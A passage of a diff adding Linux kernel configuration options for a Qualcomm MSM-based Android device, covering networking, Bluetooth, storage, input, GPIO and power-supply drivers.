not set +# CONFIG_NETLINK_MMAP is not set +# CONFIG_NETLINK_DIAG is not set +CONFIG_RMNET_DATA=y +CONFIG_RMNET_DATA_FC=y +CONFIG_RMNET_DATA_DEBUG_PKT=y +CONFIG_RPS=y +CONFIG_RFS_ACCEL=y +CONFIG_XPS=y +# CONFIG_NETPRIO_CGROUP is not set +CONFIG_BQL=y +CONFIG_SOCKEV_NLMCAST=y + +# +# Network testing +# +# CONFIG_NET_PKTGEN is not set +# CONFIG_NET_DROP_MONITOR is not set +# CONFIG_HAMRADIO is not set +# CONFIG_CAN is not set +# CONFIG_IRDA is not set +CONFIG_BT=y +CONFIG_BT_RFCOMM=y +CONFIG_BT_RFCOMM_TTY=y +CONFIG_BT_BNEP=y +CONFIG_BT_BNEP_MC_FILTER=y +CONFIG_BT_BNEP_PROTO_FILTER=y +CONFIG_BT_HIDP=y + +# +# Bluetooth device drivers +# +# CONFIG_BT_HCISMD is not set +# CONFIG_BT_HCIBTUSB is not set +# CONFIG_BT_HCIBTSDIO is not set +# CONFIG_BT_HCIUART is not set +# CONFIG_BT_HCIBCM203X is not set +# CONFIG_BT_HCIBPA10X is not set +# CONFIG_BT_HCIBFUSB is not set +# CONFIG_BT_HCIVHCI is not set +# CONFIG_BT_MRVL is not set +# CONFIG_AF_RXRPC is not set +CONFIG_FIB_RULES=y +CONFIG_WIRELESS=y +CONFIG_WIRELESS_EXT=y +CONFIG_WEXT_CORE=y +CONFIG_WEXT_PROC=y +CONFIG_WEXT_SPY=y +CONFIG_WEXT_PRIV=y +CONFIG_CFG80211=y +CONFIG_NL80211_TESTMODE=y +# CONFIG_CFG80211_DEVELOPER_WARNINGS is not set +# CONFIG_CFG80211_REG_DEBUG is not set +# CONFIG_CFG80211_CERTIFICATION_ONUS is not set +CONFIG_CFG80211_DEFAULT_PS=y +# CONFIG_CFG80211_DEBUGFS is not set +CONFIG_CFG80211_INTERNAL_REGDB=y +# CONFIG_CFG80211_WEXT is not set +# CONFIG_LIB80211 is not set +# CONFIG_CFG80211_ALLOW_RECONNECT is not set +# CONFIG_MAC80211 is not set +# CONFIG_WIMAX is not set +# CONFIG_RFKILL is not set +# CONFIG_RFKILL_REGULATOR is not set +# CONFIG_NET_9P is not set +# CONFIG_CAIF is not set +# CONFIG_CEPH_LIB is not set +# CONFIG_NFC is not set +# CONFIG_NFC_QNCI is not set +# CONFIG_NFC_NQ is not set +CONFIG_IPC_ROUTER=y +CONFIG_IPC_ROUTER_SECURITY=y +CONFIG_HAVE_BPF_JIT=y + +# +# Device Drivers +# + +# +# Generic Driver Options +# +CONFIG_UEVENT_HELPER_PATH="" +# CONFIG_DEVTMPFS is not set +CONFIG_STANDALONE=y +CONFIG_PREVENT_FIRMWARE_BUILD=y +CONFIG_FW_LOADER=y +CONFIG_FIRMWARE_IN_KERNEL=y +CONFIG_EXTRA_FIRMWARE="" +CONFIG_FW_LOADER_USER_HELPER=y +# CONFIG_DEBUG_DRIVER is not set +# CONFIG_DEBUG_DEVRES is not set +# CONFIG_SYS_HYPERVISOR is not set +# CONFIG_GENERIC_CPU_DEVICES is not set +# CONFIG_HAVE_CPU_AUTOPROBE is not set +CONFIG_SOC_BUS=y +CONFIG_REGMAP=y +CONFIG_REGMAP_I2C=y +CONFIG_REGMAP_SPI=y +CONFIG_REGMAP_SWR=y +CONFIG_REGMAP_ALLOW_WRITE_DEBUGFS=y +CONFIG_DMA_SHARED_BUFFER=y +CONFIG_CMA=y +# CONFIG_CMA_DEBUG is not set + +# +# Default contiguous memory area size: +# +CONFIG_CMA_SIZE_MBYTES=8 +CONFIG_CMA_SIZE_SEL_MBYTES=y +# CONFIG_CMA_SIZE_SEL_PERCENTAGE is not set +# CONFIG_CMA_SIZE_SEL_MIN is not set +# CONFIG_CMA_SIZE_SEL_MAX is not set +CONFIG_CMA_ALIGNMENT=8 +CONFIG_CMA_AREAS=15 +# CONFIG_CMA_RESERVE_DEFAULT_AREA is not set + +# +# Bus devices +# +# CONFIG_CONNECTOR is not set +# CONFIG_MTD is not set +CONFIG_DTC=y +CONFIG_OF=y + +# +# Device Tree and Open Firmware support +# +# CONFIG_PROC_DEVICETREE is not set +# CONFIG_OF_SELFTEST is not set +CONFIG_OF_FLATTREE=y +CONFIG_OF_EARLY_FLATTREE=y +CONFIG_OF_ADDRESS=y +CONFIG_OF_IRQ=y +CONFIG_OF_DEVICE=y +CONFIG_OF_I2C=y +CONFIG_OF_NET=y +CONFIG_OF_MDIO=y +CONFIG_OF_SPMI=y +CONFIG_OF_SLIMBUS=y +CONFIG_OF_BATTERYDATA=y +CONFIG_OF_RESERVED_MEM=y +# CONFIG_PARPORT is not set +CONFIG_BLK_DEV=y +CONFIG_ZRAM=y +CONFIG_ZRAM_LZ4_COMPRESS=y +# CONFIG_ZRAM_DEBUG is not set +# CONFIG_BLK_DEV_COW_COMMON is not set +CONFIG_BLK_DEV_LOOP=y +CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 +# CONFIG_BLK_DEV_CRYPTOLOOP is not set +# CONFIG_BLK_DEV_DRBD is not set +# CONFIG_BLK_DEV_NBD is not set +CONFIG_BLK_DEV_RAM=y +CONFIG_BLK_DEV_RAM_COUNT=16 +CONFIG_BLK_DEV_RAM_SIZE=4096 +# CONFIG_BLK_DEV_XIP is not set +# CONFIG_CDROM_PKTCDVD is not set +# CONFIG_ATA_OVER_ETH is not set +# CONFIG_MG_DISK is not set +# CONFIG_BLK_DEV_RBD is not set + +# +# Misc devices +# +# CONFIG_SENSORS_LIS3LV02D is not set +# CONFIG_AD525X_DPOT is not set +# CONFIG_ATMEL_PWM is not set +# CONFIG_DUMMY_IRQ is not set +# CONFIG_ICS932S401 is not set +# CONFIG_ATMEL_SSC is not set +# CONFIG_ENCLOSURE_SERVICES is not set +# CONFIG_APDS9802ALS is not set +CONFIG_APDS9930=y +# CONFIG_ISL29003 is not set +# CONFIG_ISL29020 is not set +# CONFIG_SENSORS_TSL2550 is not set +# CONFIG_SENSORS_BH1780 is not set +# CONFIG_SENSORS_BH1770 is not set +# CONFIG_SENSORS_APDS990X is not set +# CONFIG_HMC6352 is not set +# CONFIG_DS1682 is not set +# CONFIG_TI_DAC7512 is not set +# CONFIG_UID_STAT is not set +# CONFIG_BMP085_I2C is not set +# CONFIG_BMP085_SPI is not set +# CONFIG_USB_SWITCH_FSA9480 is not set +# CONFIG_LATTICE_ECP3_CONFIG is not set +# CONFIG_SRAM is not set +# CONFIG_HAPTIC_ISA1200 is not set +CONFIG_QSEECOM=y +# CONFIG_QFP_FUSE is not set +# CONFIG_QPNP_MISC is not set +# CONFIG_TI_DRV2667 is not set +# CONFIG_QCOM_LIQUID_DOCK is not set +CONFIG_UID_CPUTIME=y +# CONFIG_C2PORT is not set + +# +# EEPROM support +# +# CONFIG_EEPROM_AT24 is not set +# CONFIG_EEPROM_AT25 is not set +# CONFIG_EEPROM_LEGACY is not set +# CONFIG_EEPROM_MAX6875 is not set +CONFIG_EEPROM_93CX6=y +# CONFIG_EEPROM_93XX46 is not set + +# +# Texas Instruments shared transport line discipline +# +# CONFIG_TI_ST is not set +# CONFIG_SENSORS_LIS3_SPI is not set +# CONFIG_SENSORS_LIS3_I2C is not set + +# +# Altera FPGA firmware download module +# +# CONFIG_ALTERA_STAPL is not set +CONFIG_MSM_QDSP6V2_CODECS=y + +# +# SCSI device support +# +CONFIG_SCSI_MOD=y +# CONFIG_RAID_ATTRS is not set +CONFIG_SCSI=y +CONFIG_SCSI_DMA=y +CONFIG_SCSI_TGT=y +# CONFIG_SCSI_NETLINK is not set +CONFIG_SCSI_PROC_FS=y + +# +# SCSI support type (disk, tape, CD-ROM) +# +CONFIG_BLK_DEV_SD=y +# CONFIG_CHR_DEV_ST is not set +# CONFIG_CHR_DEV_OSST is not set +# CONFIG_BLK_DEV_SR is not set +CONFIG_CHR_DEV_SG=y +CONFIG_CHR_DEV_SCH=y +CONFIG_SCSI_MULTI_LUN=y +CONFIG_SCSI_CONSTANTS=y +CONFIG_SCSI_LOGGING=y +CONFIG_SCSI_SCAN_ASYNC=y + +# +# SCSI Transports +# +# CONFIG_SCSI_SPI_ATTRS is not set +# CONFIG_SCSI_FC_ATTRS is not set +# CONFIG_SCSI_ISCSI_ATTRS is not set +# CONFIG_SCSI_SAS_ATTRS is not set +# CONFIG_SCSI_SAS_LIBSAS is not set +# CONFIG_SCSI_SRP_ATTRS is not set +CONFIG_SCSI_LOWLEVEL=y +# CONFIG_ISCSI_TCP is not set +# CONFIG_ISCSI_BOOT_SYSFS is not set +# CONFIG_SCSI_UFSHCD is not set +# CONFIG_LIBFC is not set +# CONFIG_LIBFCOE is not set +# CONFIG_SCSI_DEBUG is not set +# CONFIG_SCSI_DH is not set +# CONFIG_SCSI_OSD_INITIATOR is not set +# CONFIG_ATA is not set +CONFIG_MD=y +# CONFIG_BLK_DEV_MD is not set +# CONFIG_BCACHE is not set +CONFIG_BLK_DEV_DM_BUILTIN=y +CONFIG_BLK_DEV_DM=y +# CONFIG_DM_DEBUG is not set +CONFIG_DM_BUFIO=y +CONFIG_DM_CRYPT=y +CONFIG_DM_REQ_CRYPT=y +# CONFIG_DM_SNAPSHOT is not set +# CONFIG_DM_THIN_PROVISIONING is not set +# CONFIG_DM_CACHE is not set +# CONFIG_DM_MIRROR is not set +# CONFIG_DM_RAID is not set +# CONFIG_DM_ZERO is not set +# CONFIG_DM_MULTIPATH is not set +# CONFIG_DM_DELAY is not set +# CONFIG_DM_UEVENT is not set +# CONFIG_DM_FLAKEY is not set +CONFIG_DM_VERITY=y +# CONFIG_TARGET_CORE is not set +CONFIG_NETDEVICES=y +CONFIG_NET_CORE=y +# CONFIG_BONDING is not set +CONFIG_DUMMY=y +# CONFIG_EQUALIZER is not set +CONFIG_MII=y +# CONFIG_IFB is not set +# CONFIG_NET_TEAM is not set +# CONFIG_MACVLAN is not set +# CONFIG_VXLAN is not set +# CONFIG_NETCONSOLE is not set +# CONFIG_NETPOLL is not set +# CONFIG_NET_POLL_CONTROLLER is not set +CONFIG_TUN=y +# CONFIG_VETH is not set + +# +# CAIF transport drivers +# + +# +# Distributed Switch Architecture drivers +# +# CONFIG_NET_DSA_MV88E6XXX is not set +# CONFIG_NET_DSA_MV88E6060 is not set +# CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set +# CONFIG_NET_DSA_MV88E6131 is not set +# CONFIG_NET_DSA_MV88E6123_61_65 is not set +CONFIG_ETHERNET=y +# CONFIG_NET_CADENCE is not set +# CONFIG_NET_VENDOR_BROADCOM is not set +# CONFIG_NET_CALXEDA_XGMAC is not set +# CONFIG_NET_VENDOR_CIRRUS is not set +# CONFIG_DM9000 is not set +# CONFIG_DNET is not set +# CONFIG_NET_VENDOR_FARADAY is not set +# CONFIG_NET_VENDOR_INTEL is not set +# CONFIG_NET_VENDOR_MARVELL is not set +# CONFIG_NET_VENDOR_MICREL is not set +# CONFIG_NET_VENDOR_MICROCHIP is not set +# CONFIG_NET_VENDOR_MSM is not set +CONFIG_MSM_RMNET_BAM=y +# CONFIG_NET_VENDOR_NATSEMI is not set +# CONFIG_ETHOC is not set +# CONFIG_NET_VENDOR_SEEQ is not set +# CONFIG_NET_VENDOR_SMSC is not set +# CONFIG_NET_VENDOR_STMICRO is not set +# CONFIG_NET_VENDOR_WIZNET is not set +CONFIG_PHYLIB=y + +# +# MII PHY device drivers +# +# CONFIG_AT803X_PHY is not set +# CONFIG_AMD_PHY is not set +# CONFIG_MARVELL_PHY is not set +# CONFIG_DAVICOM_PHY is not set +# CONFIG_QSEMI_PHY is not set +# CONFIG_LXT_PHY is not set +# CONFIG_CICADA_PHY is not set +# CONFIG_VITESSE_PHY is not set +# CONFIG_SMSC_PHY is not set +# CONFIG_BROADCOM_PHY is not set +# CONFIG_BCM87XX_PHY is not set +# CONFIG_ICPLUS_PHY is not set +# CONFIG_REALTEK_PHY is not set +# CONFIG_NATIONAL_PHY is not set +# CONFIG_STE10XP is not set +# CONFIG_LSI_ET1011C_PHY is not set +# CONFIG_MICREL_PHY is not set +# CONFIG_FIXED_PHY is not set +# CONFIG_MDIO_BITBANG is not set +# CONFIG_MDIO_BUS_MUX_GPIO is not set +# CONFIG_MDIO_BUS_MUX_MMIOREG is not set +# CONFIG_MICREL_KS8995MA is not set +CONFIG_PPP=y +CONFIG_PPP_BSDCOMP=y +CONFIG_PPP_DEFLATE=y +CONFIG_PPP_FILTER=y +CONFIG_PPP_MPPE=y +CONFIG_PPP_MULTILINK=y +CONFIG_PPPOE=y +CONFIG_PPPOL2TP=y +CONFIG_PPPOLAC=y +CONFIG_PPPOPNS=y +CONFIG_PPP_ASYNC=y +CONFIG_PPP_SYNC_TTY=y +# CONFIG_SLIP is not set +CONFIG_SLHC=y + +# +# USB Network Adapters +# +# CONFIG_USB_CATC is not set +# CONFIG_USB_KAWETH is not set +# CONFIG_USB_PEGASUS is not set +# CONFIG_USB_RTL8150 is not set +# CONFIG_USB_RTL8152 is not set +CONFIG_USB_USBNET=y +CONFIG_USB_NET_AX8817X=y +CONFIG_USB_NET_AX88179_178A=y +CONFIG_USB_NET_CDCETHER=y +# CONFIG_USB_NET_CDC_EEM is not set +CONFIG_USB_NET_CDC_NCM=y +# CONFIG_USB_NET_CDC_MBIM is not set +CONFIG_USB_NET_DM9601=y +# CONFIG_USB_NET_SMSC75XX is not set +# CONFIG_USB_NET_SMSC95XX is not set +# CONFIG_USB_NET_GL620A is not set +CONFIG_USB_NET_NET1080=y +# CONFIG_USB_NET_PLUSB is not set +# CONFIG_USB_NET_MCS7830 is not set +# CONFIG_USB_NET_RNDIS_HOST is not set +CONFIG_USB_NET_CDC_SUBSET=y +# CONFIG_USB_ALI_M5632 is not set +# CONFIG_USB_AN2720 is not set +CONFIG_USB_BELKIN=y +CONFIG_USB_ARMLINUX=y +# CONFIG_USB_EPSON2888 is not set +# CONFIG_USB_KC2190 is not set +CONFIG_USB_NET_ZAURUS=y +# CONFIG_USB_NET_CX82310_ETH is not set +# CONFIG_USB_NET_KALMIA is not set +# CONFIG_USB_NET_QMI_WWAN is not set +# CONFIG_USB_NET_INT51X1 is not set +# CONFIG_USB_IPHETH is not set +# CONFIG_USB_SIERRA_NET is not set +# CONFIG_USB_VL600 is not set +# CONFIG_MSM_RMNET_USB is not set +CONFIG_WLAN=y +# CONFIG_USB_ZD1201 is not set +# CONFIG_USB_NET_RNDIS_WLAN is not set +# CONFIG_LIBRA_SDIOIF is not set +# CONFIG_ATH6K_LEGACY_EXT is not set +CONFIG_WCNSS_CORE=y +CONFIG_WCNSS_CORE_PRONTO=y +CONFIG_WCNSS_MEM_PRE_ALLOC=y +CONFIG_WCNSS_REGISTER_DUMP_ON_BITE=y +# CONFIG_ATH_CARDS is not set +# CONFIG_BRCMFMAC is not set +# CONFIG_HOSTAP is not set +# CONFIG_LIBERTAS is not set +# CONFIG_WL_TI is not set +# CONFIG_MWIFIEX is not set + +# +# Enable WiMAX (Networking options) to see the WiMAX drivers +# +# CONFIG_WAN is not set +# CONFIG_DANIPC is not set +# CONFIG_ISDN is not set + +# +# Input device support +# +CONFIG_INPUT=y +CONFIG_INPUT_FF_MEMLESS=y +CONFIG_INPUT_POLLDEV=y +# CONFIG_INPUT_SPARSEKMAP is not set +# CONFIG_INPUT_MATRIXKMAP is not set + +# +# Userland interfaces +# +CONFIG_INPUT_MOUSEDEV=y +CONFIG_INPUT_MOUSEDEV_PSAUX=y +CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 +CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 +# CONFIG_INPUT_JOYDEV is not set +CONFIG_INPUT_EVDEV=y +# CONFIG_INPUT_EVBUG is not set +CONFIG_INPUT_KEYRESET=y +CONFIG_INPUT_KEYCOMBO=y +# CONFIG_SENSORS_HALL is not set + +# +# Input Device Drivers +# +CONFIG_INPUT_KEYBOARD=y +# CONFIG_KEYBOARD_ADP5588 is not set +# CONFIG_KEYBOARD_ADP5589 is not set +CONFIG_KEYBOARD_ATKBD=y +# CONFIG_KEYBOARD_QT1070 is not set +# CONFIG_KEYBOARD_QT2160 is not set +# CONFIG_KEYBOARD_LKKBD is not set +CONFIG_KEYBOARD_GPIO=y +# CONFIG_KEYBOARD_TCA6416 is not set +# CONFIG_KEYBOARD_TCA8418 is not set +# CONFIG_KEYBOARD_MATRIX is not set +# CONFIG_KEYBOARD_LM8323 is not set +# CONFIG_KEYBOARD_LM8333 is not set +# CONFIG_KEYBOARD_MAX7359 is not set +# CONFIG_KEYBOARD_MCS is not set +# CONFIG_KEYBOARD_MPR121 is not set +# CONFIG_KEYBOARD_NEWTON is not set +# CONFIG_KEYBOARD_OPENCORES is not set +# CONFIG_KEYBOARD_QPNP is not set +# CONFIG_KEYBOARD_SAMSUNG is not set +# CONFIG_KEYBOARD_STOWAWAY is not set +# CONFIG_KEYBOARD_SUNKBD is not set +# CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_INPUT_MOUSE is not set +CONFIG_INPUT_JOYSTICK=y +# CONFIG_JOYSTICK_ANALOG is not set +# CONFIG_JOYSTICK_A3D is not set +# CONFIG_JOYSTICK_ADI is not set +# CONFIG_JOYSTICK_COBRA is not set +# CONFIG_JOYSTICK_GF2K is not set +# CONFIG_JOYSTICK_GRIP is not set +# CONFIG_JOYSTICK_GRIP_MP is not set +# CONFIG_JOYSTICK_GUILLEMOT is not set +# CONFIG_JOYSTICK_INTERACT is not set +# CONFIG_JOYSTICK_SIDEWINDER is not set +# CONFIG_JOYSTICK_TMDC is not set +# CONFIG_JOYSTICK_IFORCE is not set +# CONFIG_JOYSTICK_WARRIOR is not set +# CONFIG_JOYSTICK_MAGELLAN is not set +# CONFIG_JOYSTICK_SPACEORB is not set +# CONFIG_JOYSTICK_SPACEBALL is not set +# CONFIG_JOYSTICK_STINGER is not set +# CONFIG_JOYSTICK_TWIDJOY is not set +# CONFIG_JOYSTICK_ZHENHUA is not set +# CONFIG_JOYSTICK_AS5011 is not set +# CONFIG_JOYSTICK_JOYDUMP is not set +CONFIG_JOYSTICK_XPAD=y +CONFIG_JOYSTICK_XPAD_FF=y +CONFIG_JOYSTICK_XPAD_LEDS=y +CONFIG_INPUT_TABLET=y +CONFIG_TABLET_USB_ACECAD=y +CONFIG_TABLET_USB_AIPTEK=y +CONFIG_TABLET_USB_GTCO=y +CONFIG_TABLET_USB_HANWANG=y +CONFIG_TABLET_USB_KBTAB=y +CONFIG_TABLET_USB_WACOM=y +CONFIG_INPUT_TOUCHSCREEN=y +CONFIG_TOUCHSCREEN_GT9XX=y +CONFIG_GT9XX_TOUCHPANEL_DRIVER=y +# CONFIG_GT9XX_TOUCHPANEL_UPDATE is not set +CONFIG_GT9XX_TOUCHPANEL_DEBUG=y +CONFIG_INPUT_MISC=y +# CONFIG_INPUT_AD714X is not set +# CONFIG_INPUT_BMA150 is not set +# CONFIG_INPUT_HBTP_INPUT is not set +# CONFIG_INPUT_MMA8450 is not set +# CONFIG_INPUT_MPU3050 is not set +# CONFIG_SENSORS_MPU6050 is not set +# CONFIG_SENSORS_LIS3DH is not set +# CONFIG_INPUT_GP2A is not set +# CONFIG_INPUT_GPIO_TILT_POLLED is not set +# CONFIG_INPUT_ATI_REMOTE2 is not set +CONFIG_INPUT_KEYCHORD=y +# CONFIG_INPUT_KEYSPAN_REMOTE is not set +# CONFIG_INPUT_KXTJ9 is not set +# CONFIG_INPUT_KXTJ9_HQ is not set +# CONFIG_INPUT_POWERMATE is not set +# CONFIG_INPUT_YEALINK is not set +# CONFIG_INPUT_CM109 is not set +CONFIG_INPUT_UINPUT=y +CONFIG_INPUT_GPIO=y +# CONFIG_INPUT_ISA1200_FF_MEMLESS is not set +# CONFIG_INPUT_PCF8574 is not set +# CONFIG_INPUT_PWM_BEEPER is not set +# CONFIG_INPUT_GPIO_ROTARY_ENCODER is not set +# CONFIG_INPUT_ADXL34X is not set +# CONFIG_INPUT_IMS_PCU is not set +# CONFIG_INPUT_CMA3000 is not set +# CONFIG_BMP18X is not set +# CONFIG_SENSORS_MMA8X5X is not set +# CONFIG_SENSORS_AP3426 is not set +# CONFIG_SENSORS_AP3426_CM is not set +# CONFIG_SENSORS_LTR553 is not set +CONFIG_SENSORS_BMA2X2=y +CONFIG_SENSORS_BMA2X2_ENABLE_INT1=y +# CONFIG_SENSORS_BMA2X2_ENABLE_IDENT is not set +CONFIG_SENSORS_STK3X1X=y +# CONFIG_SERIO_I8042 is not set + +# +# Hardware I/O ports +# +CONFIG_SERIO=y +CONFIG_SERIO_SERPORT=y +CONFIG_SERIO_LIBPS2=y +# CONFIG_SERIO_RAW is not set +# CONFIG_SERIO_ALTERA_PS2 is not set +# CONFIG_SERIO_PS2MULT is not set +# CONFIG_SERIO_ARC_PS2 is not set +# CONFIG_SERIO_APBPS2 is not set +# CONFIG_GAMEPORT is not set + +# +# Character devices +# +CONFIG_TTY=y +# CONFIG_VT is not set +CONFIG_UNIX98_PTYS=y +# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set +# CONFIG_LEGACY_PTYS is not set +# CONFIG_SERIAL_NONSTANDARD is not set +# CONFIG_N_GSM is not set +# CONFIG_TRACE_SINK is not set +# CONFIG_DEVMEM is not set +# CONFIG_DEVKMEM is not set +CONFIG_FRANDOM=y + +# +# Serial drivers +# +# CONFIG_SERIAL_8250 is not set + +# +# Non-8250 serial port support +# +# CONFIG_SERIAL_MAX3100 is not set +# CONFIG_SERIAL_MAX310X is not set +# CONFIG_SERIAL_MSM is not set +# CONFIG_SERIAL_MSM_HS is not set +# CONFIG_SERIAL_MSM_HSL is not set +# CONFIG_SERIAL_BCM_BT_LPM is not set +# CONFIG_SERIAL_SCCNXP is not set +# CONFIG_SERIAL_TIMBERDALE is not set +# CONFIG_SERIAL_ALTERA_JTAGUART is not set +# CONFIG_SERIAL_ALTERA_UART is not set +# CONFIG_SERIAL_IFX6X60 is not set +CONFIG_SERIAL_MSM_SMD=y +# CONFIG_SERIAL_XILINX_PS_UART is not set +# CONFIG_SERIAL_ARC is not set + +# +# Diag Support +# +CONFIG_DIAG_CHAR=y + +# +# DIAG traffic over USB +# +CONFIG_DIAG_OVER_USB=y + +# +# HSIC/SMUX support for DIAG +# +# CONFIG_TTY_PRINTK is not set +# CONFIG_HVC_DCC is not set +# CONFIG_IPMI_HANDLER is not set +CONFIG_HW_RANDOM=y +# CONFIG_HW_RANDOM_TIMERIOMEM is not set +# CONFIG_HW_RANDOM_ATMEL is not set +# CONFIG_HW_RANDOM_EXYNOS is not set +CONFIG_HW_RANDOM_MSM=y +# CONFIG_R3964 is not set +# CONFIG_RAW_DRIVER is not set +# CONFIG_TCG_TPM is not set +CONFIG_MSM_SMD_PKT=y +# CONFIG_MSM_ADSPRPC is not set +# CONFIG_MSM_RDBG is not set +CONFIG_I2C=y +CONFIG_I2C_BOARDINFO=y +CONFIG_I2C_COMPAT=y +CONFIG_I2C_CHARDEV=y +# CONFIG_I2C_MUX is not set +CONFIG_I2C_HELPER_AUTO=y + +# +# I2C Hardware Bus support +# + +# +# I2C system bus drivers (mostly embedded / system-on-chip) +# +# CONFIG_I2C_CBUS_GPIO is not set +# CONFIG_I2C_DESIGNWARE_PLATFORM is not set +# CONFIG_I2C_GPIO is not set +# CONFIG_I2C_QUP is not set +CONFIG_I2C_MSM_V2=y +# CONFIG_I2C_OCORES is not set +# CONFIG_I2C_PCA_PLATFORM is not set +# CONFIG_I2C_PXA_PCI is not set +# CONFIG_I2C_SIMTEC is not set +# CONFIG_I2C_XILINX is not set + +# +# External I2C/SMBus adapter drivers +# +# CONFIG_I2C_DIOLAN_U2C is not set +# CONFIG_I2C_PARPORT_LIGHT is not set +# CONFIG_I2C_TAOS_EVM is not set +# CONFIG_I2C_TINY_USB is not set + +# +# Other I2C/SMBus bus drivers +# +# CONFIG_I2C_DEBUG_CORE is not set +# CONFIG_I2C_DEBUG_ALGO is not set +# CONFIG_I2C_DEBUG_BUS is not set +CONFIG_SLIMBUS=y +# CONFIG_SLIMBUS_MSM_CTRL is not set +CONFIG_SLIMBUS_MSM_NGD=y +CONFIG_SOUNDWIRE=y +CONFIG_SOUNDWIRE_WCD_CTRL=y +CONFIG_SPI=y +# CONFIG_SPI_DEBUG is not set +CONFIG_SPI_MASTER=y + +# +# SPI Master Controller Drivers +# +# CONFIG_SPI_ALTERA is not set +# CONFIG_SPI_BITBANG is not set +# CONFIG_SPI_GPIO is not set +# CONFIG_SPI_FSL_SPI is not set +# CONFIG_SPI_OC_TINY is not set +# CONFIG_SPI_PXA2XX_PCI is not set +# CONFIG_SPI_SC18IS602 is not set +# CONFIG_SPI_XCOMM is not set +# CONFIG_SPI_XILINX is not set +CONFIG_SPI_QUP=y +# CONFIG_SPI_DESIGNWARE is not set + +# +# SPI Protocol Masters +# +CONFIG_SPI_SPIDEV=y +# CONFIG_SPI_TLE62X0 is not set +CONFIG_SPMI=y +CONFIG_SPMI_MSM_PMIC_ARB=y +CONFIG_MSM_QPNP_INT=y + +# +# Qualcomm MSM SSBI bus support +# +# CONFIG_SSBI is not set +# CONFIG_HSI is not set + +# +# PPS support +# +# CONFIG_PPS is not set + +# +# PPS generators support +# + +# +# PTP clock support +# +# CONFIG_PTP_1588_CLOCK is not set + +# +# Enable PHYLIB and NETWORK_PHY_TIMESTAMPING to see the additional clocks. +# +# CONFIG_PTP_1588_CLOCK_PCH is not set +CONFIG_PINCTRL=y + +# +# Pin controllers +# +CONFIG_PINMUX=y +CONFIG_PINCONF=y +CONFIG_GENERIC_PINCONF=y +# CONFIG_DEBUG_PINCTRL is not set +# CONFIG_PINCTRL_SINGLE is not set +CONFIG_USE_PINCTRL_IRQ=y +CONFIG_PINCTRL_MSM_TLMM=y +# CONFIG_PINCTRL_EXYNOS is not set +# CONFIG_PINCTRL_EXYNOS5440 is not set +CONFIG_ARCH_HAVE_CUSTOM_GPIO_H=y +CONFIG_ARCH_REQUIRE_GPIOLIB=y +CONFIG_GPIO_DEVRES=y +CONFIG_GPIOLIB=y +CONFIG_OF_GPIO=y +CONFIG_DEBUG_GPIO=y +CONFIG_GPIO_SYSFS=y + +# +# Memory mapped GPIO drivers: +# +# CONFIG_GPIO_GENERIC_PLATFORM is not set +# CONFIG_GPIO_EM is not set +# CONFIG_GPIO_MSM_V3 is not set +# CONFIG_GPIO_RCAR is not set +# CONFIG_GPIO_TS5500 is not set +# CONFIG_GPIO_GRGPIO is not set + +# +# I2C GPIO expanders: +# +# CONFIG_GPIO_MAX7300 is not set +# CONFIG_GPIO_MAX732X is not set +# CONFIG_GPIO_PCF857X is not set +# CONFIG_GPIO_SX150X is not set +# CONFIG_GPIO_ADP5588 is not set +# CONFIG_GPIO_ADNP is not set + +# +# PCI GPIO expanders: +# + +# +# SPI GPIO expanders: +# +# CONFIG_GPIO_MAX7301 is not set +# CONFIG_GPIO_MCP23S08 is not set +# CONFIG_GPIO_MC33880 is not set +# CONFIG_GPIO_74X164 is not set + +# +# AC97 GPIO expanders: +# + +# +# MODULbus GPIO expanders: +# +CONFIG_GPIO_QPNP_PIN=y +# CONFIG_GPIO_QPNP_PIN_DEBUG is not set + +# +# USB GPIO expanders: +# +# CONFIG_W1 is not set +CONFIG_POWER_SUPPLY=y +# CONFIG_POWER_SUPPLY_DEBUG is not set +# CONFIG_PDA_POWER is not set +# CONFIG_TEST_POWER is not set +# CONFIG_BATTERY_DS2780 is not set +# CONFIG_BATTERY_DS2781 is not set +# CONFIG_BATTERY_DS2782 is not set +# CONFIG_BATTERY_SBS is not set +# CONFIG_BATTERY_BQ27x00 is not set +# CONFIG_BATTERY_MAX17040 is not set +# CONFIG_BATTERY_MAX17042 is not set +# CONFIG_CHARGER_ISP1704 is not set +# CONFIG_CHARGER_MAX8903 is not set +# CONFIG_CHARGER_LP8727 is not set +# CONFIG_CHARGER_GPIO is not set +# CONFIG_CHARGER_MANAGER is not set +# CONFIG_CHARGER_BQ2415X is not set +# CONFIG_SMB137C_CHARGER is not set +# CONFIG_SMB349_USB_CHARGER is not set +# CONFIG_SMB350_CHARGER is not set +# CONFIG_SMB1351_USB_CHARGER is not set +# CONFIG_SMB135X_CHARGER is not set +CONFIG_BQ2022A_SUPPORT=y +CONFIG_SMB1360_CHARGER_FG=y +# CONFIG_SMB358_CHARGER is not set +# CONFIG_BATTERY_BQ28400 is not set +# CONFIG_QPNP_CHARGER is not set +# CONFIG_QPNP_SMBCHARGER is not set +# CONFIG_QPNP_FG is not set +CONFIG_BATTERY_BCL=y +# CONFIG_CHARGER_SMB347 is not set +# CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_QPNP_VM_BMS_HQ is not set +CONFIG_QPNP_VM_BMS=y +CONFIG_QPNP_LINEAR_CHARGER=y +# CONFIG_QPNP_LINEAR_CHARGER_HQ is not set +# CONFIG_MSM_BCL_CTL is not set +# CONFIG_YL_PM8916_VBUS is not set +# CONFIG_YL_BQ24157_CHARGER is not set +# CONFIG_YL_FAN5405_CHARGER is not set +# CONFIG_YL_LC709203_FUELGAUGE is not set +# CONFIG_YL_CHARGE_MODE is not set +CONFIG_POWER_RESET=y +# CONFIG_POWER_RESET_GPIO is not set +CONFIG_POWER_RESET_MSM=y +# CONFIG_MSM_DLOAD_MODE is not set +CONFIG_MSM_PRESERVE_MEM=y +# CONFIG_POWER_RESET_RESTART is not set +# CONFIG_POWER_AVS is not set +# CONFIG_POWER_AVS_MSM is not set +CONFIG_MSM_PM=y +CONFIG_MSM_IDLE_STATS=y +CONFIG_MSM_IDLE_STATS_FIRST_BUCKET=62500 +CONFIG_MSM_IDLE_STATS_BUCKET_SHIFT=2 +CONFIG_MSM_IDLE_STATS_BUCKET_COUNT=10 